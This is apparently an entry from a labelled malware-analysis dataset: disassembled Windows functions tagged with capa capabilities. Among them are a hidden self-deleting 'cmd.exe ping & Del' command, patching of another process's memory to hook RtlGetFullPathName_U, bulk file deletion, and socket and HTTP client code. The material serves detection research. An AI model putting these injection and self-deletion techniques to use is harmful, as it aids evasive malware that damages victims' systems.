joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401190
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x4011e8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.echo_and_return:_socket_____Error_at_socket__:__ld_n
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.MSVCR100.dll_printf]
push str.echo_and_return:_socket___is_OK._n
call esi
add esp, 4
mov eax, 2
push str.10.180.0.115
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push ecx
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x18]
push edx
push edi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40125b
movzx eax, word [ebp + 8]
push eax
push str.10.180.0.115
push str.echo_and_return:_connect_____Failed_to_connect_to_server__s__port:_d_n
call esi
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
push str.echo_and_return:_connect___is_OK._n
call esi
push str.echo_and_return:_Sending_echo_token..._n
call esi
add esp, 8
push 0
push 0x1a
push str.ADAMANDPRASHANTAREAWESOME_n
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x401294
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.echo_and_return:_send___error__ld._n
call esi
add esp, 8
jmp 0x4012ab
push eax
push str.echo_and_return:_send___is_OK___Bytes_sent:__ld_n
call esi
push str.ADAMANDPRASHANTAREAWESOME_n
push str.echo_and_return:_The_test_string_sent:___s__n
call esi
add esp, 0x10
push 0
push 0x1a
push ebx
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
je 0x4012f9
cmp edi, 0x2746
je 0x4012f9
test edi, edi
js 0x4011d6
push str.get_port_from_controller::_recv___is_OK._n
call esi
push ebx
push str.get_port_from_controller::_Received_data_is:___s__n
call esi
push edi
push str.get_port_from_controller::_Bytes_received_is:__ld._n
call esi
add esp, 0x14
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
push str.get_port_from_controller:_Connection_Closed._n
call esi
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
xor ecx, ebp
pop esi
call fcn.0040176f
mov esp, ebp
pop ebp
ret
Function at 0x401320
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
lea eax, [ebp - 0x168]
push 0
push eax
call sub.MSVCR100.dll_memset
push esi
push str.cmd.exe__C_ping__w_50__n_1_1.1.1.1___Nul__Del
xor eax, eax
push str._s___s_
lea ecx, [ebp - 0x110]
push 0x104
push ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
call dword [sym.imp.MSVCR100.dll__snprintf]
add esp, 0x20
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x168]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
Function at 0x40176f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401779
repz ret
jmp fcn.00401a16
Function at 0x40e156
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1048
call fcn.0041a670
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp word [esi], bx
je 0x40e371
push esi
call fcn.0041a32f
pop ecx
cmp eax, 0x7f6
jae 0x40e371
push edi
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x48]
push ebx
push eax
call fcn.0041a3a0
movzx ecx, word [esi]
add esp, 0xc
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], 0x1c0
cmp cx, 0x22
jne 0x40e1b1
lea eax, [esi + 2]
mov dword [ebp - 0x38], eax
jmp 0x40e1b4
mov dword [ebp - 0x38], esi
xor eax, eax
cmp cx, bx
je 0x40e20a
mov ecx, esi
cmp word [ecx], 0x22
jne 0x40e1dc
jmp 0x40e1cc
cmp word [esi + eax*2], 0x22
je 0x40e1d5
inc eax
cmp word [esi + eax*2], bx
jne 0x40e1c5
jmp 0x40e1dc
push 0x20
pop ecx
mov word [esi + eax*2], cx
cmp word [esi + eax*2], 0x20
je 0x40e1f6
cmp word [esi + eax*2 + 2], 0x2f
je 0x40e1f6
inc eax
lea ecx, [esi + eax*2]
cmp word [ecx], bx
jne 0x40e1bd
jmp 0x40e20a
lea eax, [esi + eax*2]
cmp word [eax], 0x20
jne 0x40e204
xor ecx, ecx
mov word [eax], cx
add eax, 2
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, ebx
je 0x40e216
cmp word [eax], bx
jne 0x40e22b
cmp byte [ebp + 0xc], bl
jne 0x40e22b
cmp word [0x44187a], bx
je 0x40e22b
mov dword [ebp - 0x34], 0x44187a
push dword [ebp - 0x38]
mov dword [ebp - 0x2c], 1
call fcn.0040a297
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x40e257
push str..inf
push eax
call fcn.004119e6
test eax, eax
jne 0x40e257
mov dword [ebp - 0x3c], 0x42a8f8
push dword [ebp - 0x38]
call fcn.0040902d
test al, al
je 0x40e280
push 0x800
lea eax, [ebp - 0x1048]
push eax
push dword [ebp - 0x38]
call fcn.0040a769
lea eax, [ebp - 0x1048]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40e370
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov byte [ebp - 1], bl
mov edi, 0x3e8
cmp byte [0x440870], bl
jne 0x40e2b5
cmp byte [ebp + 0xc], bl
jne 0x40e2b5
cmp byte [0x44085d], bl
je 0x40e312
cmp dword [ebp + 8], ebx
je 0x40e2d1
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40e2d1
push ebx
push dword [ebp + 8]
call esi
mov byte [ebp - 1], 1
push 0x7d0
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 0x10]
call fcn.0040d548
cmp byte [0x44085d], bl
je 0x40e312
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x40e312
mov eax, dword [ebp - 0xc]
add eax, edi
cmp eax, dword [0x440860]
jbe 0x40e312
mov dword [0x440860], eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], ebx
je 0x40e331
push 0x42a8ec
push dword [ebp - 8]
call fcn.004119e6
test eax, eax
je 0x40e35f
cmp byte [0x440870], bl
je 0x40e34a
cmp byte [ebp + 0xc], bl
jne 0x40e34a
mov dword [0x440864], 0x1b58
jmp 0x40e35f
xor eax, eax
cmp byte [ebp + 0xc], bl
sete al
dec eax
and eax, 0xfffffce0
add eax, edi
mov dword [0x440864], eax
cmp byte [ebp - 1], bl
je 0x40e370
cmp byte [ebp + 0xc], bl
je 0x40e370
push 1
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000101a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001024
repz ret
jmp fcn.10001277

Function at 0x10006458
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100013ef
and dword [ebp - 4], 0
cmp dword [0x1000b5e8], 0
mov ebx, eax
jne 0x10006509
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100065ba
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100065ba
push eax
call fcn.1000137d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1000b5e8], eax
call esi
push eax
call fcn.1000137d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1000b5ec], eax
call esi
push eax
call fcn.1000137d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1000b5f0], eax
call esi
push eax
call fcn.1000137d
pop ecx
mov dword [0x1000b5f8], eax
test eax, eax
je 0x10006509
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000137d
pop ecx
mov dword [0x1000b5f4], eax
mov eax, dword [0x1000b5f4]
cmp eax, ebx
je 0x10006561
cmp dword [0x1000b5f8], ebx
je 0x10006561
push eax
call fcn.100013f8
push dword [0x1000b5f8]
mov esi, eax
call fcn.100013f8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10006561
test edi, edi
je 0x10006561
call esi
test eax, eax
je 0x10006558
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10006558
test byte [ebp - 0xc], 1
jne 0x10006561
or dword [ebp + 0x10], 0x200000
jmp 0x1000659a
mov eax, dword [0x1000b5ec]
cmp eax, ebx
je 0x1000659a
push eax
call fcn.100013f8
pop ecx
test eax, eax
je 0x1000659a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000659a
mov eax, dword [0x1000b5f0]
cmp eax, ebx
je 0x1000659a
push eax
call fcn.100013f8
pop ecx
test eax, eax
je 0x1000659a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1000b5e8]
call fcn.100013f8
pop ecx
test eax, eax
je 0x100065ba
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100065bc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406c2c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406cba
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x406c77
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.00403278
jmp 0x406ca4
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x406c8b
lea eax, [ebp - 4]
call fcn.00403198
jmp 0x406c9a
lea edx, [ebp - 4]
call fcn.00406af0
test ebx, ebx
je 0x406c9a
dec ebx
jmp 0x406c7c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cc1
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406cc8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00404dd0
add esp, 0x104
pop ebx
ret
Function at 0x406e10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406f48
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x406f32
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
je 0x406e6d
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x406f32
cmp dword [ebp - 0x10], 0
jne 0x406e82
mov eax, dword [ebp - 8]
call fcn.00403198
mov bl, 1
jmp 0x406f32
cmp dword [ebp - 0x10], 0x70000000
jb 0x406e90
call fcn.00405874
mov esi, dword [ebp - 0x10]
test esi, esi
sar esi, 0
lea eax, [ebp - 0x14]
mov ecx, esi
xor edx, edx
call fcn.00403278
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
call fcn.00403420
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA
cmp eax, 0xea
je 0x406e36
test eax, eax
jne 0x406f32
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
je 0x406ee0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x406f32
mov esi, dword [ebp - 0x10]
test esi, esi
sar esi, 0
jmp 0x406eeb
dec esi
test esi, esi
je 0x406ef9
mov eax, dword [ebp - 0x14]
cmp byte [eax + esi - 1], 0
je 0x406eea
cmp dword [ebp - 0xc], 7
jne 0x406f04
test esi, esi
je 0x406f04
inc esi
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.004034f0
cmp dword [ebp - 0xc], 7
jne 0x406f25
test esi, esi
je 0x406f25
lea eax, [ebp - 0x14]
call fcn.00403420
mov byte [eax + esi - 1], 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.004031e8
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f4f
lea eax, [ebp - 0x14]
call fcn.00403198
ret

Function at 0x407890
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c55c
mov eax, esi
mov edx, 8
test al, 1
je 0x4078ac
shr eax, 1
xor eax, 0xedb88320
jmp 0x4078ae
shr eax, 1
dec edx
jne 0x40789f
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407898
pop esi
ret

Function at 0x4078c4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c558], 0
jne 0x4078e7
call fcn.00407890
push 1
push 0x40c558
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x407912
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4078ed
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x408fbc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408f70
test al, al
jne 0x408fdd
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x409029
xor eax, eax
push ebp
push 0x409019
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409020
lea eax, [ebp - 0xc]
call fcn.00408fac
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40953c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 1], dl
mov esi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test edi, edi
je 0x409589
xor ebx, ebx
jmp 0x40957e
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, edi
call fcn.00404c30
test eax, eax
jne 0x40957d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x40955f
mov al, byte [ebp - 1]
sub al, 1
jb 0x409594
je 0x40959d
jmp 0x4095a6
call fcn.00407024
mov edi, eax
jmp 0x4095a8
call sub.kernel32.dll_GetUserDefaultLangID
mov edi, eax
jmp 0x4095a8
xor edi, edi
test di, di
je 0x409639
xor ebx, ebx
jmp 0x4095e4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, di
cmp eax, edx
jne 0x4095e3
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x4095d8
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x4095e3
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095b5
xor ebx, ebx
jmp 0x40962e
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, edi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x40962d
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x409622
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x40962d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095f3
mov al, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x4022a0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
jae 0x4022c2
lea eax, [ebp + 8]
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
push eax
lea eax, [ebp - 0x10c]
push str._s.mnth
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
jae 0x402302
lea eax, [ebp + 8]
lea ecx, [ebp - 0x220]
push ecx
push eax
lea edx, [ebp - 0x10c]
push str._s_s
push edx
call edi
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
call ebx
lea ecx, [ebp - 0x24c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4022f6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x1c], 0x10
jb 0x402350
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085a0
mov esp, ebp
pop ebp
ret

Function at 0x402840
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x220]
mov edi, ecx
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
mov esi, edx
mov dword [ebp - 0x220], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0xc]
push 5
push eax
mov dword [ebp - 0x21c], 0x544547
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push 0
push 1
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x40295e
push 0
push 0
push 3
push 0
push 0
push 0x50
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
je 0x402957
mov ecx, 0x73fba137
lea eax, [ebp - 0x218]
call fcn.00407560
push 0
push 0x8404f700
push 0
push 0
push eax
push esi
lea edx, [ebp - 0xc]
push edx
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov byte [ebp - 0x210], al
test esi, esi
je 0x402957
push eax
push eax
push eax
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
lea eax, [ebp - 0x21c]
push eax
push 0x64
push 0x410078
push esi
mov dword [ebp - 0x21c], 0x64
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 0x21c]
push esi
mov byte [ecx + 0x410078], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085a0
mov esp, ebp
pop ebp
ret
Function at 0x403340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push 0
push 5
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push str.RtlGetFullPathName_U
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4033ff
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, 0x40f460
push esi
mov dword [ecx], edi
mov esi, edi
sub ebx, edi
mov dword [ebp - 4], 5
mov edi, edi
mov eax, dword [ebp + 8]
push 0
push 1
lea edx, [ebx + esi]
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
inc esi
dec dword [ebp - 4]
jne 0x4033b0
mov esi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push edi
push esi
call ebx
push 0
push 5
push 0x40a61c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push edi
push esi
call ebx
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret